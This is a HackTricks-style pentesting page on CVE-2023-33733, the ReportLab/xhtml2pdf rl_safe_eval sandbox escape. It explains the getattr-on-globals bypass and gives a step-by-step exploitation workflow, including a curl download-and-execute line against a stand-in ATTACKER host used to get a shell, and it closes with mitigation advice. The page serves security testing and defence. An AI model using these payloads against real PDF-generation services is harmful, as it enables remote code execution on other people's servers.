hacktricks/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md

ReportLab/xhtml2pdf [...] expression-evaluation RCE (CVE-2023-33733)

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This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.

CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [ ... ] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.

Key points

• Trigger: inject [ ... ] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
• Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals.
• Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "globals" while avoiding blocked dunder filtering.
• RCE: getattr(pow, Word("globals"))["os"].system("")
• Stability: Return a valid value for the attribute after execution (for color, use and 'red').

When to test

• Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • HTTP response for PDF often starts with a ReportLab generator comment

How the sandbox bypass works

• rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist.
• However, safe functions live in a globals dictionary accessible as func.globals.
• Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
  • .startswith('') → always False (bypass name startswith('') check)
  • .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
  • .hash equals hash(str(self))
• With this, getattr(pow, Word('globals')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('').

Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.

exploit

• The list-comprehension form allows a single expression acceptable to rl_safe_eval.
• The trailing and 'red' returns a valid CSS color so the rendering doesn’t break.
• Replace the command as needed; use ping to validate execution with tcpdump.

Operational workflow

1. Identify PDF generator
   • PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
2. Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
3. Verify execution with low-noise ICMP
   • Run: sudo tcpdump -ni icmp
   • Payload: ... system('ping <your_ip>') ...
   • Windows often sends exactly four echo requests by default.
4. Establish a shell
   • For Windows, a reliable two-stage approach avoids quoting/encoding issues:
     • Stage 1 (download):

exploit

 - Stage 2 (execute):

exploit

• For Linux targets, similar two-stage with curl/wget is possible:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notes and tips

• Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
• Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
• Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.

Mitigations and detection

• Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well.
• Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [...] evaluation constructs and vendor-specific tags when input is untrusted.
• Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs.
• Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents).

References

• PoC and technical analysis: c53elyas/CVE-2023-33733
• 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
• NVD entry (affected versions): CVE-2023-33733
• xhtml2pdf docs (markup/page concepts): xhtml2pdf docs

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